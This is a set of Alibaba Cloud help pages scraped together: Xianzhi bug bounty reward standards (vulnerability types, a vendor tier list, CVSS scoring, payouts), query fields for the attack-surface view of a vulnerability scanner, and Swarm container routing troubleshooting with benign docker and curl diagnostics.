              容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

            • 容器镜像服务

              容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            通用漏洞验收及奖励标准_相关协议_先知(安全众测)-阿里云 Fri, 02 May 2025 09:39:04 +0800 通用漏洞验收及奖励标准

            更新时间:2020-05-01 22:57:59

            本页目录

            通用软件漏洞情报收集及奖励标准

            为了更好地保障云上用户的安全,提升安全防御能力,阿里云盾(先知)专门制定了《通用软件漏洞情报奖励计划》,以提供奖励的方式鼓励白帽子遵循负责任的漏洞披露机制,向我们提供通用软件的安全漏洞情报信息。

            云盾先知确认漏洞后,将按照流程向您提供现金奖励和荣誉奖励,同时将漏洞向通用软件官方提交,并向受到影响的合作伙伴共享漏洞情报信息。如果您发现第三方通用软件的漏洞,欢迎您向我们提交,我们会第一时间响应处理。

            漏洞定义

            攻击者通过操纵某些数据,使得程序偏离设计者的逻辑,进而引发的安全问题。先知计划漏洞平台主要收集应用软件和建站系统程序漏洞。

            漏洞名称

            白帽子自定义漏洞名称,尽量包含漏洞关键字等信息。

            如:PHPTEST v1.0.0前台无限制Getshell。

            收集的漏洞类型

            我们关注的漏洞类型,包括: XSS跨站、SQL注入、XXE、命令执行、文件包含、任意文件操作、权限绕过、存在后门、文件上传、逻辑漏洞、栈溢出、堆溢出、内存破坏、整数溢出、释放后重用、类型混淆、沙盒绕过、本地提权、拒绝服务、CRLF注入、SSRF、点击劫持、时间竞争漏洞、敏感信息泄露等。

            短期活动

            Outlook_mail,Anymacro_mail,Hanweb,WordPress,Weblogic,Jeecms,ThinkPHP,EasySite,Sangfor_Application,Springboot,Eyou_mail,Sangfor_firewall,CitrixNetScaler,DotNetNuke_cms,Array_vpn,蓝凌OA,Secworld_vpn,Jboss

            如上相关的通用全部提升到A类,只收取RCE /SQL等前台漏洞,奖励丰厚!

            漏洞收集范围

            我们关注当前应用广泛的互联网应用软件类及第三方建站系统程序,具体如下:

            厂商类型 应用名 官网地址
            A类厂商 phpMyAdmin https://www.phpmyadmin.net/
            A类厂商 Discuz! http://www.discuz.net
            A类厂商 Wordpress https://zh-cn.wordpress.com/
            A类厂商 Django https://www.djangoproject.com/
            A类厂商 WebX http://www.openwebx.org/
            A类厂商 Fastjson https://github.com/alibaba/fastjson
            A类厂商 Weblogic https://www.oracle.com/middleware/technologies/weblogic.html
            A类厂商 ThinkPHP http://www.thinkphp.cn/
            A类厂商 Jetty https://www.eclipse.org/jetty/
            A类厂商 Tomcat http://tomcat.apache.org/
            A类厂商 Nginx http://nginx.org/
            A类厂商 GlassFish https://javaee.github.io/glassfish/
            A类厂商 Microsoft IIS https://www.iis.net/
            A类厂商 Jboss http://www.jboss.org/
            A类厂商 Struts2 https://struts.apache.org/
            A类厂商 Spring Framework https://projects.spring.io/spring-framework/
            A类厂商 Spring Boot https://projects.spring.io/spring-boot/
            B类厂商 Cicso vpn https://www.cisco.com
            B类厂商 phpCMS http://www.phpcms.cn/
            B类厂商 PHPWind https://www.phpwind.com/
            B类厂商 Flask https://github.com/pallets/flask
            B类厂商 Drupal https://www.drupal.org/
            B类厂商 Ruby on Rails https://github.com/rails/rails
            B类厂商 Express https://expressjs.com/
            B类厂商 Gitea https://github.com/go-gitea/gitea
            B类厂商 Bitbucket https://www.atlassian.com/software/bitbucket/download
            B类厂商 Adminer https://www.adminer.org/
            B类厂商 phpMiniAdmin https://github.com/osalabs/phpminiadmin
            B类厂商 宝塔linux面板 https://www.bt.cn/
            B类厂商 Hanweb http://www.hanweb.com/
            B类厂商 ZooKeeper https://zookeeper.apache.org/
            B类厂商 Yii https://www.yiiframework.com/
            B类厂商 CodeIgniter https://codeigniter.com/
            B类厂商 ZenTaoPMS(禅道项目管理) http://www.zentao.net/
            B类厂商 DedeCMS http://www.dedecms.com
            B类厂商 Tornado http://www.tornadoweb.org/
            B类厂商 GitLab https://gitlab.com
            B类厂商 Jenkins https://jenkins.io/
            B类厂商 Redmine https://www.redmine.org/
            B类厂商 ElasticSearch https://www.elastic.co/cn/
            B类厂商 Openfire https://www.igniterealtime.org/projects/openfire/
            B类厂商 Atlassian Jira https://www.atlassian.com/software/jira
            B类厂商 Solr http://lucene.apache.org/solr/
            B类厂商 Zabbix https://www.zabbix.com/
            B类厂商 WildFly http://wildfly.org/
            B类厂商 Atlassian Confluence https://www.atlassian.com/software/confluence
            B类厂商 Kibana https://www.elastic.co/products/kibana
            B类厂商 MediaWiki https://www.mediawiki.org/
            B类厂商 cPanel https://cpanel.com/
            B类厂商 httpFileServer(HFS) http://www.rejetto.com/hfs/
            B类厂商 CoreMail http://www.coremail.cn/
            B类厂商 Apache Hadoop http://hadoop.apache.org/
            B类厂商 ActiveMQ http://activemq.apache.org/
            B类厂商 Shiro https://github.com/apache/shiro
            B类厂商 Gogs https://gogs.io/
            B类厂商 Nexus Repository https://www.sonatype.com/product-nexus-repository
            B类厂商 ZooKeepe https://zookeeper.apache.org/
            B类厂商 Sentry https://sentry.io/
            B类厂商 CKEditor(FCKEditor) https://ckeditor.com/
            B类厂商 万户ezOFFICE http://www.whir.net/cn/cpzx/index_2.html
            B类厂商 Cacti https://www.cacti.net/
            B类厂商 Webmin http://www.webmin.com/
            B类厂商 Apereo CAS https://github.com/apereo/cas
            C类厂商 ECShop http://yunqi.shopex.cn/products/ecshop
            C类厂商 用友NC http://nc.yonyou.com/
            C类厂商 Laravel https://laravel.com/
            C类厂商 XAMPP https://www.apachefriends.org/zh_cn/index.html
            C类厂商 ownCloud https://owncloud.org/
            C类厂商 拓尔思(TRS WCM) http://www.trs.com.cn/
            C类厂商 Empire CMS(帝国CMS) http://www.phome.net/
            C类厂商 深信服-VPN http://www.sangfor.com.cn/product/net-safe-ssl.html
            C类厂商 金蝶OA http://www.kingdee.com/solutions/field/oa
            C类厂商 致远OA http://www.seeyon.com/
            C类厂商 泛微OA Office http://www.weaver.com.cn/
            C类厂商 nagios-xi https://www.nagios.com/products/nagios-xi/
            C类厂商 Joomla https://www.joomla.org/
            C类厂商 Piwik https://matomo.org
            C类厂商 F5-BIGipServer https://f5.com/products/big-ip
            C类厂商 RoundCube https://roundcube.net/
            C类厂商 WDCP 主机管理系统 http://www.wdlinux.cn/
            C类厂商 Hudson http://jenkins-ci.org/
            C类厂商 TurboMail http://www.turbomail.org/
            C类厂商 亿邮 http://www.eyou.net/
            C类厂商 Zimbra https://www.zimbra.com/
            C类厂商 Apache RocketMQ https://rocketmq.apache.org/
            C类厂商 Apache Dubbo https://dubbo.apache.org/zh-cn/
            C类厂商 Harbor https://github.com/goharbor/harbor
            C类厂商 Sentinel https://github.com/alibaba/Sentinel/wiki/%E6%8E%A7%E5%88%B6%E5%8F%B0
            C类厂商 Grafana https://github.com/grafana/grafana
            C类厂商 Harbo https://github.com/goharbor/harbor
            C类厂商 SquirrelMail https://squirrelmail.org/
            C类厂商 AMH 云主机面板 http://amh.sh/
            D类厂商 74cms http://www.74cms.com/
            D类厂商 齐博CMS http://www.qibosoft.com/
            D类厂商 HiShop http://www.hishop.com.cn/
            D类厂商 SiteServer CMS http://www.siteserver.cn/
            D类厂商 PHP168 http://www.php168.net/
            D类厂商 B2Bbuilder http://www.b2b-builder.com/
            D类厂商 Typecho http://typecho.org/
            D类厂商 OpenCart https://github.com/opencart/opencart
            D类厂商 DokuWiki https://www.dokuwiki.org/dokuwiki
            D类厂商 ShopEx http://www.shopex.cn/
            D类厂商 通达OA https://www.tongda2000.com/
            C类厂商 CMSTOP http://www.cmstop.com/
            D类厂商 HDwiki http://kaiyuan.hudong.com/
            D类厂商 phpBB https://www.phpbb.com/
            D类厂商 ThinkSNS http://thinksns.com/
            D类厂商 live800 https://www.live800.com/
            D类厂商 MyBB https://github.com/mybb
            F类厂商 PbootCMS http://www.asp4cms.com/
            F类厂商 Magento https://magento.com/
            F类厂商 Odoo https://www.odoo.com/zh_CN/
            F类厂商 Destoon https://www.destoon.com/
            F类厂商 vBulletin https://www.vbulletin.com/
            F类厂商 MetInfo https://www.metinfo.cn/
            F类厂商 Z-Blog https://www.zblogcn.com/
            F类厂商 KesionCMS http://www.kesion.com/aspb/
            F类厂商 微擎 https://www.we7.cc/
            F类厂商 emlog http://www.emlog.net/
            F类厂商 主机宝 http://z.admin5.com

            说明 如无特殊标注,漏洞收集的范围是上表中应用程序的最新版本。最新版本信息,可在应用程序的官网查看。

            评分规则

            为解决漏洞评级混乱问题,美国基础设施顾问委员会(NIAC)提出了CVSS公开标准,由FIRST组织进行维护,它被用来评价漏洞的严重与紧急程度。

            CVSS漏洞评级标准计算器

            基础分类型 基础分值名 基础分值数
            攻击方式(AV) 远程网络(N)
            相邻网络(A)
            本地攻击(L)
            物理方式(P)
            0.85
            0.62
            0.55
            0.2
            攻击复杂度(AC) 低(L)
            高(H)
            0.77
            0.44
            权限要求(PR) 无(N)
            低(L)
            高(H)
            0.85
            0.62(如果影响范围有变化为0.68)
            0.27(如果影响范围有变化为0.50)
            用户交互(UI) 不需要(N)
            需要(P)
            0.85
            0.62
            C(机密性)
            I(完整性)
            A(可用性)
            高(H)
            低(L)
            无(N)
            0.56
            0.220
            0.0
            影响范围(S) 未改变(U)
            改变(C)
            互联网中受影响实例的个数

            说明 影响范围权重最高,能够客观检验一个漏洞在互联网上的影响程度。

            得分算法得分算法

            根据以上得分,漏洞得分划分为

            • 严重(9.6~10.0)
            • 高危(7.0~9.5)
            • 中危(4.0~6.9)
            • 低危(0.1~3.9)
            • 无效(0.0)

            对应的奖励范围

            厂商类型 严重漏洞奖励范围 高危漏洞奖励范围 中危漏洞奖励范围 低危漏洞奖励范围
            A类厂商 奖金:50000~500000元
            积分:150
            奖金:20000~50000元
            积分:120
            奖金:4000~15000元
            积分:60
            奖金:500~1000元
            积分:30
            B类厂商 奖金:20000~50000元
            积分:120
            奖金:6000~15000元
            积分:100
            奖金:1500~3000元
            积分:50
            奖金:300~500元
            积分:20
            C类厂商 奖金:10000~15000元
            积分:120
            奖金:3000~6000元
            积分:60
            奖金:800~1500元
            积分:30
            奖金:200~300元
            积分:15
            D类厂商 奖金:2000~3000元
            积分:120
            奖金:1000~2000元
            积分:40
            奖金:500~800元
            积分:20
            奖金:100~200元
            积分:10
            F类厂商 奖金:1000~2000元
            积分:120
            奖金:600~1000元
            积分:40
            奖金:400~600元
            积分:20
            奖金:50~150元
            积分:10

            暂不在漏洞收集范畴的类型

            • A、B类厂商以外的XSS漏洞一概不在收取范围。
            • A、B类厂商不收取反射XSS漏洞,SELF-XSS漏洞。
            • 事件型漏洞(如xx厂商的某cms,存在官方接口安全问题,接口在官方服务器上)。
            • 其他影响十分有限的漏洞。

            漏洞降级

            • 漏洞利用过程中需要涉及非普通用户权限,或在满足一定条件下才能触发的漏洞,将会酌情降级或降低奖励。
            • 后台漏洞目前只收取getshell(OA类、协作类产品的普通用户控制台算作后台),漏洞会降级低危处理。

            厂商降级

            当针对某个厂商收取的高危漏洞数大于30个(未修复状态池),且厂商官方再无能力修复漏洞时,将对厂商进行降级或下线处理,同时暂停收取漏洞。

            付款条件和限制

            • 奖励标准仅适用于列表中的厂商,列表外的厂商,我们将根据厂商应用流行程度和漏洞影响范围,酌情给予奖励;
            • 同一漏洞多位白帽子在先知平台提交,以时间先后顺序只奖励首位提交者;
            • 官方无开源代码并且无测试Demo的漏洞,需要提供至少5个互联网以实例证明危害;
            • 同一个漏洞源产生的多个漏洞计漏洞数量为一。例如:同一功能模块下的不同接口,同一文件的不同参数、同一参数出现在不同文件、同一文件在不同目录、同一漏洞的不同利用方式、不同版本的同一漏洞、同一函数导致漏洞等;
            • 可以通过修复一个点使得后续利用均不可行的情况,后续漏洞提交均视为重复漏洞。说明 如多个接口程序中都用到了同一个全局函数进行数据处理,这个全局数据处理函数被利用导致了漏洞形成,则所有此类漏洞均视为同一漏洞。
            • 在先知平台通知第三方厂商修复漏洞之前,漏洞在互联网上被公开不给予奖励;
            • 报告网上已公开的漏洞不给予奖励;
            • 同一漏洞重复提交至其他第三方漏洞平台,先知平台有权不给予奖励;
            • 在漏洞处理的任何阶段发现漏洞重复或被公开,先知平台都有权驳回漏洞并取消奖励;对于恶意提交重复漏洞骗取奖励的行为,会给予警告乃至封号处理。

            漏洞提交报告要求

            为了能够对每个漏洞进行客观评估,兼顾厂商对漏洞的实际影响判断,建议白帽子依据CVSS 3.0标准,补充如下关键信息,从而避免审核过程中造成的偏颇。

            • 利用方式:远程/本地/物理
            • 用户交互:不需要登录/需登录/需登录(开放注册)
            • 权限要求:普通用户/功能管理员/系统管理员
            • 利用接口:http://example.com/XXXXXid=100&xxxxx
            • 漏洞利用点参数:利用接口URL中的id
            • 漏洞证明:
              • SQL注入漏洞:请补充注入利用证明,包括数据库的 user()或 version()或 database()的输出结果,建议提供截图。
              • 命令执行漏洞:请补充命令执行利用证明,运行命令whoami 输出的结果,建议提供截图。

            注意事项

            • 恶意报告者将作封号处理。
            • 报告无关问题的将不予答复。
            • 阿里巴巴集团员工不得参与或通过朋友参与漏洞奖励计划。
            • 奖励计划仅适用于通过先知平台报告漏洞的用户。
            • 漏洞奖励计划最终解释权归先知平台所有。

            上一篇:云盾先知安全情报平台服务条款

            下一篇:附件一:漏洞收集流程(先知安全情报)

            相关文档

            相关产品

            • 先知(安全众测)

              先知计划是一个帮助企业建立私有应急响应中心的平台(帮助企业收集漏洞信息)。企业加入先知计划后,可自主发布奖励计划,激励先知平台的安全专家来测试和提交企业自身网站或业务系统的漏洞,保证安全风险可以快速进行响应和修复,防止造成更大的安全损失。旨在为企业建立高效完善的安全应急响应中心(Security Response Center)。企业通过入驻先知计划漏洞平台,可以通过先知平台众多优质、可信的白帽子及时发现现有业务的安全问题,包括业务逻辑漏洞、权限问题等安全工具无法有效检测的漏洞等,尽早的发现存在的漏洞可以有效的减少公司可能的损失。并且,随着业务的不断发展,也会通过白帽子的持续安全检测来及时发现新业务的安全问题。先知平台会为所有入驻企业的漏洞严格保密,从而避免漏洞被恶意宣传。

            • 安全管家

              阿里云安全管家服务是阿里云安全专家基于阿里云多年安全最佳实践经验为云上用户提供的全方位安全技术和咨询服务,为云上用户建立和持续优化云安全防御体系,保障用户业务安全。

            • 云安全中心

              云安全中心是阿里云云上安全监控和诊断服务,面向云上资产提供安全事件检测、漏洞扫描、基线配置核查等服务。云安全中心结合了阿里自主研发的大数据和机器学习算法,通过多引擎查杀帮助您实时全面了解和有效处理服务器的安全隐患,并实现对云上资产的集中安全管理。 云安全中心帮助您收集并呈现10余种类型的日志和云上资产指纹,并结合网络实体威胁情报进行安全态势分析,扩大安全可见性。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            查询字段与示例_攻击面透视_用户指南_漏洞扫描-阿里云 Fri, 02 May 2025 09:39:04 +0800 查询字段与示例

            更新时间:2020-03-23 17:34:13

            本页目录

            本文档列举了在漏洞扫描控制台攻击面透视页面中对各个数据源进行查询的字段和示例,您可以参考本文档提供的示例了解如何快速查询不同数据源的攻击面信息。

            背景信息

            有关攻击面数据查询的详细操作请参见攻击面数据查询

            说明 查询具体端口、解析地址、子域名时,查询字段中必须使用半角双引号("")进行精确匹配查询,避免出现语句符号冲突导致查询失败。详细字段结构请参见下表中具体的查询语句示例。

            域名查询

            攻击面透视 > 域名页面搜索框中输入关键词aliyun进行搜索,可以检索到aliyun相关的域名。域名

            子域名查询

            查询子域名支持使用的字段如下所示。

            字段 说明 查询语句示例
            domain 查询根域名。 domain:aliyun.com
            subdomain 查询子域名。 subdomain:aliyun.comsubdomain:"1.aliyun.com"

            例如:在攻击面透视 > 子域名页面搜索框中输入字段domain:aliyun.com(根域名查询字段)或者subdomain:aliyun.com(子域名查询字段)进行搜索,可以检索到aliyun相关的根域名或子域名信息。

            主机列表

            查询主机列表支持使用的字段如下所示。

            字段 说明 查询语句示例
            ip 查询具体IP地址对应的主机信息。 ip:1.2.3.4
            cidr 查询CIDR地址对应的主机信息。 cidr:1.2.3.4/24
            hostname 查询主机名对应的主机列表信息。 hostname:guest
            state 查询主机状态。
            • 输入state:up可以查询状态为在线的主机。
            • 输入state:down可以查询状态为离线的主机。
            os 查询安装了某类操作系统的主机的列表信息。 os:windows

            例如:在攻击面透视 > 主机列表页面搜索框中输入字段cidr:192.168.1.1/24 os:linux state:up查询192.168.1.1/24地址段下在线状态的Linux主机。

            DNS解析记录

            查询DNS解析记录支持使用的字段如下所示。

            字段 说明 查询语句示例
            domain 查询某个根域名的DNS解析记录。 domain:aliyun.com
            subdomain 查询某个子域名的DNS解析记录。 subdomain:1.aliyun.com
            record 查询某个解析记录的列表信息。 record:"1.2.3.4"
            type 查询某个解析记录类型的解析记录列表信息。
            • 输入type:a查询解析记录类型为a的解析记录列表。
            • 输入type:cname查询解析记录类型为cname的解析记录列表。

            例如:在攻击面透视 > DNS解析记录页面搜索框中输入字段domain:aliyun.com type:a,查询域名aliyun.com解析记录类型为A的DNS解析记录列表。

            端口服务

            查询端口服务支持使用的字段如下所示。

            字段 说明 查询语句示例
            ip 查询某个IP地址的主机列表信息。 ip:1.2.3.4
            icdr 查询某个CIDR地址段中所有的IP地址对应的主机列表信息。 cidr:1.2.3.4/24
            port 查询开启了某个端口的主机的列表信息。 port:80
            protocol 查询端口支持的某类协议的列表信息。支持TCP和UDP协议。 protocol:tcp
            service 查询支持某类端口服务的列表信息。支持的端口服务包括HTTP、HTTPS、HTTP-PROXY、MS-WBT-Server、SSH等。 service:http
            product 查询某个产品的列表信息。支持的产品(提供端口服务的应用或设备)包括:Apache、Nginx等。您可以在端口服务页面查看支持的所有产品名称。 product:apache
            version 查询某个产品版本号对应的列表信息。 version:1.0.2

            例如:在攻击面透视 > 端口服务页面搜索框中输入字段port:80 product:nginx查询开放的端口号为80的Nginx主机列表。输入字段cidr:1.2.3.4/24 service:http查询1.2.3.4/24这个地址段下所有IP地址对应的主机的http服务。

            Web应用

            查询Web应用支持使用的字段如下所示。

            字段 说明 查询语句示例
            domain 查询某个域名下使用的Web应用列表信息。 domain:aliyun.com
            name 查询使用了某个应用的站点列表信息。 name:wordpress
            title 使用标题名称关键词查询站点的列表信息。 title:console
            server 查询使用了某个服务器类型的站点列表信息。 server:apache
            version 查询应用了某个版本号的站点列表信息。 version:1.2.0

            例如:在攻击面透视 > Web应用页面搜索框中输入字段domain:aliyun.com name:wordpress查询aliyun.com域名中WordPress相关的站点列表。

            Web路径

            查询Web应用支持使用的字段如下所示。

            字段 说明 查询语句示例
            hostname 查询某个域名下的站点和Web路径信息。 hostname:aliyun.com
            netloc 查询某个域名下端口提供的同一个应用服务对应的站点信息。 netloc:"www.aliyun.com:81"

            例如:在攻击面透视 > Web路径页面搜索框中输入字段hostname:abc.com查询abc.com域名下的Web路径信息列表。

            上一篇:字段查询运算符

            下一篇:云盾漏洞扫描常见问题概览

            相关文档

            相关产品

            • 漏洞扫描

              阿里云漏洞扫描结合情报大数据、白帽渗透测试实战经验和深度机器学习,提供全面网站威胁检测,包括漏洞、涉政暴恐色情内容、网页篡改、挂马暗链、垃圾广告等,第一时间助您精准发现您的网站资产和关联资产存在的安全风险,满足合规要求,同时避免遭受品牌形象和经济损失。

            • 云安全中心

              云安全中心是阿里云云上安全监控和诊断服务,面向云上资产提供安全事件检测、漏洞扫描、基线配置核查等服务。云安全中心结合了阿里自主研发的大数据和机器学习算法,通过多引擎查杀帮助您实时全面了解和有效处理服务器的安全隐患,并实现对云上资产的集中安全管理。 云安全中心帮助您收集并呈现10余种类型的日志和云上资产指纹,并结合网络实体威胁情报进行安全态势分析,扩大安全可见性。

            • Web 应用防火墙

              云盾Web应用防火墙(Web Application Firewall, 简称 WAF)基于云安全大数据能力实现,通过防御SQL注入、XSS跨站脚本、常见Web服务器插件漏洞、木马上传、非授权核心资源访问等OWASP常见攻击,过滤海量恶意CC攻击,避免您的网站资产数据泄露,保障网站的安全与可用性。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            访问链路问题排查_Swarm FAQs_常见问题_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 访问链路问题排查

            更新时间:2019-11-04 11:48:10

            编辑 · 

            新浪微博 微信 钉钉

            本页目录

            背景信息

            当您在容器服务中架设了一个 web 类型的容器,并通过 routing 将请求转发到这个服务器时,请求的链路是 client > DNS 域名解析 > 负载均衡 VIP > 负载均衡到集群中某一台 acsrouting 容器 > 转发到 web 容器,如下图所示。



            在这整个链路过程中,任何一个环节发生问题,用户的请求可能都不能正确地到达 web 容器。下面,我们从最容易发生问题的环节开发者的 web 容器的健康检查开始,来排查访问链路的问题。

            操作步骤

            1. 查看容器是否处于运行状态。

              登录 容器服务管理控制台,单击左侧导航栏中的 应用,选择目标应用所在的集群并单击应用的名称,本示例中为 wordpress-test,如下图所示。



            2. 单击应用 wordpress-test 下提供 web 容器的服务的名称,本示例中为 web,如下图所示。



            3. 查看提供 web 服务的容器的健康检查状态。

              容器 选项卡中,检查所有容器在 健康检测 这一列是否均为 正常。如果不正常,请查看相应的 日志 报错信息以及该页面的 事件 选项卡,查看部署是否发生异常。如设置了应用的 健康检查,需要确定健康检查页面返回 200,来确保健康检查的状态是正常的。如下图所示。



            4. 检查 web 容器页面响应是否正常。

              如果容器的健康检查状态没有问题,需要绕过 routing 直接检查 web 容器的可访问性。如上图所示,可以查看到某个 web 容器的容器 IP,登录集群中某台机器的 routing 容器,通过容器 IP 请求 web 容器的页面,如果返回的 HTTP 状态码小于 400,则 web 容器的页面正常。如下所示,docker exec -it f171110f2fe2 shf171110f2fe2 是容器 acsrouting_routing_1 的容器 ID,curl -v 172.19.0.7 中的 IP 地址 172.19.0.7 是某个 web 服务的容器 IP 地址。如下所示,请求返回了状态码 302,说明 web 容器访问是正常的。

               root@c68a460635b8c405e83c052b7c2057c7b-node2:~# docker ps
               CONTAINER ID        IMAGE                                                 COMMAND                  CREATED              STATUS              PORTS                                            NAMES
               b403ea045fa1        registry.aliyuncs.com/acs-sample/wordpress:4.5        "/entrypoint.sh apach"   13 seconds ago       Up 11 seconds       0.0.0.0:32768->80/tcp                            w_web_2
               025f7967cec3        registry.aliyuncs.com/acs-sample/mysql:5.7            "/entrypoint.sh mysql"   About a minute ago   Up About a minute   3306/tcp                                         w_db_1
               2f247b8a76e5        registry.aliyuncs.com/acs/ilogtail:0.9.9              "/bin/sh -c 'sh /usr/"   31 minutes ago       Up 31 minutes                                                        acslogging_logtail_1
               42b75bee6cd8        registry.aliyuncs.com/acs/monitoring-agent:latest     "acs-mon-run.sh --hel"   31 minutes ago       Up 31 minutes                                                        acsmonitoring_acs-monitoring-agent_2
               0a9afa527f03        registry.aliyuncs.com/acs/volume-driver:0.7-252cb09   "acs-agent volume_exe"   31 minutes ago       Up 31 minutes                                                        acsvolumedriver_volumedriver_2
               3c1440fd114c        registry.aliyuncs.com/acs/logspout:0.1-41e0e21        "/bin/logspout"          32 minutes ago       Up 32 minutes                                                        acslogging_logspout_1
               f171110f2fe2        registry.aliyuncs.com/acs/routing:0.7-staging         "/opt/run.sh"            32 minutes ago       Up 32 minutes       127.0.0.1:1936->1936/tcp, 0.0.0.0:9080->80/tcp   acsrouting_routing_1
               0bdeb8464c14        registry.aliyuncs.com/acs/agent:0.7-bfe8bdf           "acs-agent join --nod"   33 minutes ago       Up 33 minutes                                                        acs-agent
               ba32a0e9e7fe        registry.aliyuncs.com/acs/tunnel-agent:0.21           "/acs/agent -config=c"   33 minutes ago       Up 33 minutes                                                        tunnel-agent
               root@c68a460635b8c405e83c052b7c2057c7b-node2:~# docker exec -it f171110f2fe2 sh
               / # curl -v 172.19.0.7
               * Rebuilt URL to: 172.19.0.7/
               *   Trying 172.19.0.7...
               * Connected to 172.19.0.7 (172.19.0.7) port 80 (#0)
                 > GET / HTTP/1.1
                 > Host: 172.19.0.7
                 > User-Agent: curl/7.47.0
                 > Accept: */*
                 >
                 < HTTP/1.1 302 Found
                 < Date: Mon, 09 May 2016 03:19:47 GMT
                 < Server: Apache/2.4.10 (Debian) PHP/5.6.21
                 < X-Powered-By: PHP/5.6.21
                 < Expires: Wed, 11 Jan 1984 05:00:00 GMT
                 < Cache-Control: no-cache, must-revalidate, max-age=0
                 < Pragma: no-cache
                 < Location: http://172.19.0.7/wp-admin/install.php
                 < Content-Length: 0
                 < Content-Type: text/html; charset=UTF-8
                 <
               * Connection #0 to host 172.19.0.7 left intact
                 / #

            5. 验证 acsrouting 的正确性。

              升级 routing 到最新版本,登录到集群的每一台机器(每一台机器都可能接收请求,不管应用容器在哪台机器上面),请求 routing 健康检查页面,如下所示。

              root@c68a460635b8c405e83c052b7c2057c7b-node2:~# curl -Ss -u admin:admin 'http://127.0.0.1:1936/haproxy?stats' &> test.html

              将页面 test.html 拷贝到有浏览器的机器,用浏览器打开本地文件 test.html,如下图所示。查看相应的 web 服务和容器后端,第一部分为 stats 信息,为 routing 的统计信息,第二部分为 frontend 的统计信息,我们主要观察第三部分 backend 的信息,w_web_80_servers 表示名为 w 的应用下服务 web 的 80 端口的后端 servers 的信息。总共有三个 backend server,即后端有三个容器提供 web 服务,显示为绿色,表示 routing 容器到这三个容器的网络是连通的,在正常工作,显示为其他颜色则为异常。



            6. 查看负载均衡 VIP 的转发是否正确,并查看健康检查的状态。
              1. 如下图所示,找到集群的负载均衡 VIP。单击 容器服务管理控制台 左侧导航栏中的 集群,选择相应的集群,本示例中为 test-swarm。



              2. 单击该集群对应的 管理,进入集群详情页面。单击左侧导航栏中的 负载均衡,查看并复制负载均衡 ID,然后进入 SLB控制台,搜索该负载均衡 ID,找到该负载均衡实例,然后单击该负载均衡实例右侧的 管理,进入负载均衡实例详情页面。



              3. 查看负载均衡实例的服务地址。



              4. 查看负载均衡的端口健康状态。单击左侧导航栏中的 监听状态 显示为 运行中 则表示端口正常。



              5. 查看负载均衡后端挂载的服务器的状态。单击左侧导航栏中的 服务器 > 后端服务器,确保 健康检查状态正常



            7. 查看域名是否正确解析到了负载均衡的 VIP。例如,使用 ping 命令或者 dig 命令查看解析结果。域名解析的结果必须指向前面步骤查找到的负载均衡的 VIP 地址。如下所示。

              $ ping www.example-domain.com
              $ dig www.example-domain.com

            上一篇:自定义负载均衡常见问题

            下一篇:容器服务如何隔离不同用户的容器?

            相关文档

            相关产品

            • 容器服务(已停止服务)

              容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

            • 容器服务Kubernetes版

              容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

            • 容器镜像服务

              容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            简单路由-域名配置_服务发现和负载均衡_用户指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 简单路由-域名配置

            更新时间:2019-01-23 00:05:34

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            操作步骤

            1. 登录容器服务管理控制台
            2. 在 Swarm 菜单下,单击左侧导航栏中的服务
            3. 选择要添加域名的服务所在的集群。
            4. 选择要添加域名的服务(本示例中要添加域名的服务为 web,所属的应用为 wordpress)并单击 变更配置。如下图所示。



            5. 单击简单路由配置右侧的加号图标,输入要添加的域名(本示例中要添加的域名为 www.aliyuntest.club)并单击确定更新配置。如下图所示。

